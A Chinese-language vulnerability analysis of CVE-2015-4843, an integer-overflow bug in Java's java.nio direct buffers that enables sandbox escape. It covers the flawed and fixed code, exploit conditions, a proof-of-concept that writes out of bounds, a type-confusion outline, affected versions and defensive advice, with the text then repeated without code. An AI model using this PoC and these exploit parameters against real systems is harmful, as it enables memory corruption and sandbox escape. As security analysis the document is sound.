Java沙箱逃逸走过的二十个春秋(三)
字数 1604 2025-08-27 12:33:31

Java沙箱逃逸技术:整数溢出漏洞分析与利用

1. 整数溢出漏洞基础

1.1 整数溢出概念

整数溢出发生在算术运算结果超出变量位数表示范围时。在Java中:

  • 整数使用32位表示
  • 正整数范围:0x00000000(0)到0x7FFFFFFF(2³¹-1)
  • 负整数范围:0x80000000(-2³¹)到0xFFFFFFFF(-1)

典型溢出示例:0x7FFFFFFF(2³¹-1)递增后变为0x80000000(-2³¹)

1.2 整数溢出的安全影响

整数溢出常被用于:

  • 绕过数组边界检查
  • 创建越界读写原语
  • 实现类型混淆攻击
  • 最终禁用安全管理器

2. CVE-2015-4843漏洞分析

2.1 漏洞背景

漏洞存在于java.nio包中的Buffers类,影响DirectXBufferY.java生成的多个类:

  • X可以是"Byte"、"Char"、"Double"、"Int"、"Long"、"Float"或"Short"
  • Y可以是"S"(有符号)、"U"(无符号)、"RS"(只读有符号)、"RU"(只读无符号)

2.2 漏洞代码分析

漏洞文件:java/nio/Direct-X-Buffer.java.template

关键问题:在32位整数上执行移位操作导致整数溢出

修复前代码片段:

if ((length << $LG_BYTES_PER_VALUE$) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) {
    Bits.copyFrom$Memtype$Array(src, offset << $LG_BYTES_PER_VALUE$,
        ix(pos), length << $LG_BYTES_PER_VALUE$);

修复后代码片段:

if (((long)length << $LG_BYTES_PER_VALUE$) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) {
    Bits.copyFrom$Memtype$Array(src,
        (long)offset << $LG_BYTES_PER_VALUE$,
        ix(pos),
        (long)length << $LG_BYTES_PER_VALUE$);

2.3 漏洞利用原理

2.3.1 get()方法分析

关键方法签名:

public IntBuffer get(int[] dst, int offset, int length)

调用链:

  1. Java层get()方法
  2. 调用Bits.copyToIntArray()原生方法

原生方法实现(C代码):

JNIEXPORT void JNICALL
Java_java_nio_Bits_copyToIntArray(JNIEnv *env, jobject this,
    jlong srcAddr, jobject dst, jlong dstPos, jlong length)
{
    // 无边界检查直接操作内存
    srcInt = (jint *)jlong_to_ptr(srcAddr);
    dstInt = (jint *)(bytes + dstPos);
    // 直接进行内存拷贝
}

2.3.2 利用条件

需要满足三个条件:

  1. 条件1:((long)length << 2) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD

    • 阈值JNI_COPY_FROM_ARRAY_THRESHOLD=6
    • 实际要求:length > (6 >> 2) => length > 1
  2. 条件2:checkBounds检查

    if ((off | len | (off + len) | (size - (off + len))) < 0)
    

    等价于:

    • offset > 0
    • length > 0
    • (offset + length) > 0
    • (dst.length - (offset + length)) > 0
  3. 条件3:length < lim - pos (假设pos=0时为length < dst.length)

2.3.3 构造利用参数

有效参数组合示例:

dst.length = 1209098507
offset = 1073741764  // offset << 2 = -240
length = 2

计算验证:

  • offset << 2 = 1073741764 << 2 = -240 (整数溢出)
  • 实际会从dst数组前240字节处开始读写

2.4 漏洞验证PoC

public class Test {
    public static void main(String[] args) {
        int[] dst = new int[1209098507];
        for (int i = 0; i < dst.length; i++) {
            dst[i] = 0xAAAAAAAA;
        }

        int bytes = 400;
        ByteBuffer bb = ByteBuffer.allocateDirect(bytes);
        IntBuffer ib = bb.asIntBuffer();

        for (int i = 0; i < ib.limit(); i++) {
            ib.put(i, 0xBBBBBBBB);
        }

        int offset = 1073741764; // offset << 2 = -240
        int length = 2;

        ib.get(dst, offset, length); // 触发漏洞
    }
}

2.5 内存布局分析

执行PoC后内存状态:

  • dst数组地址:0x20000000
  • 数组前16字节为头部(包含数组大小0x4811610b=1209098507)
  • 数组前240字节区域被写入0xBBBBBBBB

内存权限检查:

00000001fc2c0000 62720K rwx-- [anon]
0000000200000000 5062656K rwx-- [anon]
0000000335000000 11714560K rwx-- [anon]

3. 漏洞利用进阶

3.1 类型混淆攻击

利用读写原语实现类型混淆的步骤:

  1. 构造特定内存布局:

    B[] |0|1|...k|......|l|
    A[] |0|1|2|...i|...m|
    int[] |0|...j|...n|
    
  2. 利用读取原语将A[i]地址写入int[j]

  3. 将int[j]引用写入B[k]

  4. 结果:JVM认为B[k]是B类型,实际是A类型

3.2 堆布局技巧

稳定堆布局参数:

l = 429496729
m = l
n = 858993458

4. 影响范围与修复

4.1 受影响版本

共51个Java版本受影响:

  • Java 1.6: 18个版本(1.6_23到1.6_45)
  • Java 1.7: 28个版本(1.7_0到1.7_80)
  • Java 1.8: 5个版本(1.8到1.8_60)

4.2 修复方案

核心修复方法:
在执行移位操作前将32位整数转换为64位long类型

修复代码示例:

// 修复前
offset << $LG_BYTES_PER_VALUE$

// 修复后
(long)offset << $LG_BYTES_PER_VALUE$

5. 防御建议

  1. 及时更新Java到安全版本
  2. 对涉及数组索引的计算进行严格边界检查
  3. 在关键计算前使用更大数据类型(long)
  4. 启用Java安全管理器进行额外保护
  5. 对JNI调用进行严格的参数验证
Java沙箱逃逸技术:整数溢出漏洞分析与利用 1. 整数溢出漏洞基础 1.1 整数溢出概念 整数溢出发生在算术运算结果超出变量位数表示范围时。在Java中: 整数使用32位表示 正整数范围:0x00000000(0)到0x7FFFFFFF(2³¹-1) 负整数范围:0x80000000(-2³¹)到0xFFFFFFFF(-1) 典型溢出示例:0x7FFFFFFF(2³¹-1)递增后变为0x80000000(-2³¹) 1.2 整数溢出的安全影响 整数溢出常被用于: 绕过数组边界检查 创建越界读写原语 实现类型混淆攻击 最终禁用安全管理器 2. CVE-2015-4843漏洞分析 2.1 漏洞背景 漏洞存在于java.nio包中的Buffers类,影响DirectXBufferY.java生成的多个类: X可以是"Byte"、"Char"、"Double"、"Int"、"Long"、"Float"或"Short" Y可以是"S"(有符号)、"U"(无符号)、"RS"(只读有符号)、"RU"(只读无符号) 2.2 漏洞代码分析 漏洞文件:java/nio/Direct-X-Buffer.java.template 关键问题:在32位整数上执行移位操作导致整数溢出 修复前代码片段: 修复后代码片段: 2.3 漏洞利用原理 2.3.1 get()方法分析 关键方法签名: 调用链: Java层get()方法 调用Bits.copyToIntArray()原生方法 原生方法实现(C代码): 2.3.2 利用条件 需要满足三个条件: 条件1: ((long)length << 2) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD 阈值JNI_ COPY_ FROM_ ARRAY_ THRESHOLD=6 实际要求:length > (6 >> 2) => length > 1 条件2:checkBounds检查 等价于: offset > 0 length > 0 (offset + length) > 0 (dst.length - (offset + length)) > 0 条件3: length < lim - pos (假设pos=0时为length < dst.length) 2.3.3 构造利用参数 有效参数组合示例: 计算验证: offset << 2 = 1073741764 < < 2 = -240 (整数溢出) 实际会从dst数组前240字节处开始读写 2.4 漏洞验证PoC 2.5 内存布局分析 执行PoC后内存状态: dst数组地址:0x20000000 数组前16字节为头部(包含数组大小0x4811610b=1209098507) 数组前240字节区域被写入0xBBBBBBBB 内存权限检查: 3. 漏洞利用进阶 3.1 类型混淆攻击 利用读写原语实现类型混淆的步骤: 构造特定内存布局: 利用读取原语将A[ i]地址写入int[ j ] 将int[ j]引用写入B[ k ] 结果:JVM认为B[ k ]是B类型,实际是A类型 3.2 堆布局技巧 稳定堆布局参数: 4. 影响范围与修复 4.1 受影响版本 共51个Java版本受影响: Java 1.6: 18个版本(1.6_ 23到1.6_ 45) Java 1.7: 28个版本(1.7_ 0到1.7_ 80) Java 1.8: 5个版本(1.8到1.8_ 60) 4.2 修复方案 核心修复方法: 在执行移位操作前将32位整数转换为64位long类型 修复代码示例: 5. 防御建议 及时更新Java到安全版本 对涉及数组索引的计算进行严格边界检查 在关键计算前使用更大数据类型(long) 启用Java安全管理器进行额外保护 对JNI调用进行严格的参数验证